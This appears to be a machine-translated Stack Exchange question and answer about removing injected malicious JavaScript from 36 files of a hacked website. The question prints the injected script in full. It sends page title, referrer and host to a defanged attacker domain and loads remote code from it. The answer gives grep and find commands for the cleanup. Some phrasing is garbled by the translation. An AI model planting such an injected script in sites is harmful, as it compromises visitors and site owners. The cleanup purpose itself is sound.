私のウェブサイトがハッキング/感染しています。悪意のあるリンクのURLを置き換えましたが、悪意のあるスクリプトの他の要素のために私のサイトはまだブロックされました。 100個程度の「エスケープ」を挿入せずに、自分のサイトにある36個のファイルから次のスクリプトをどのように削除できますか?
< script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "hxxp://xxxxx_hack_was_here_z_s_e_r_f_._c_o_m/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('< script type="text/javascript" src="' + f_url + '">' + '<' + '/ script>');} < /script>
stack-exchangeの他のページではこの質問に答えません。
悪意のあるURLをxxxx_hack_was_hereなどに置き換えるには、次のようにしました。
find . -type f -name "*.php" -exec sed -i 's/zserf.com/xxxxx_hack_was here_z_serf/g' {} +
答え1
まず、上記のコメントに同意します。sed
ハッキングされたときに回復するために使用しないでください。 あなたが何かを逃したことではないかどうかは常に疑問に思っています。バックアップから復元、期間。
しかし、あなたが提起する文字通りの質問、つまりすべての特殊文字をエスケープせずに長い文字列のすべての項目を削除する方法は、処理するのがやや簡単です。
あなたの質問からいくつかの推論/家庭を作っていますが、実際には直接言及しません。
- 削除する文字列は1行です。
- 毎回同じことが起こります。
- そうする必要がある削除済み、他に置き換えることなく。
上記の仮定が正しい場合は、次のようにします。
- 削除する文字列(末尾のスペースを含む)を
hackline.txt
Put this layerという別のファイルに入れます。以上処理するディレクトリです。 エラーが発生した場合は、ディレクトリ全体をコピーしてください。
cp -a mydir mydircopy
Hacklineのすべてのインスタンスを削除するには、ディレクトリ(またはコピー)で次のループを実行します。
cd mydir for f in *; do [ -f "$f" ] && [ -r "$f" ] || continue grep -vxFf ../hackline.txt "$f" > "$f.fixed" && mv -- "$f.fixed" "$f" done
ここでの概念は、行hackline.txt
全体と一致する必要がある固定文字列のリストとして使用し、grep
それを使用して一致する行を取得することです。いいえこの文字列のリストを一致させます。
-x
「完全行」を意味し、-F
「正規表現ではなく固定文字列」を意味します。ファイルのパターンリストを許可します-v
。-f
Webサイトディレクトリがフラットではなく階層の場合(実際には可能です)、find
forループを代わりに使用できます。
find mydir -type f ! -name \*.fixed -exec sh -c 'grep -vxFf ../hackline.txt "$1" > "$1.fixed"' sh {} \;
find mydir -type f -name \*.fixed -exec sh -c 'mv -- "$1" "${1%.fixed}"' sh {} \;
次に、再帰を使用してすべてがdiff
正しいことを確認します。
diff -r mydircopy mydir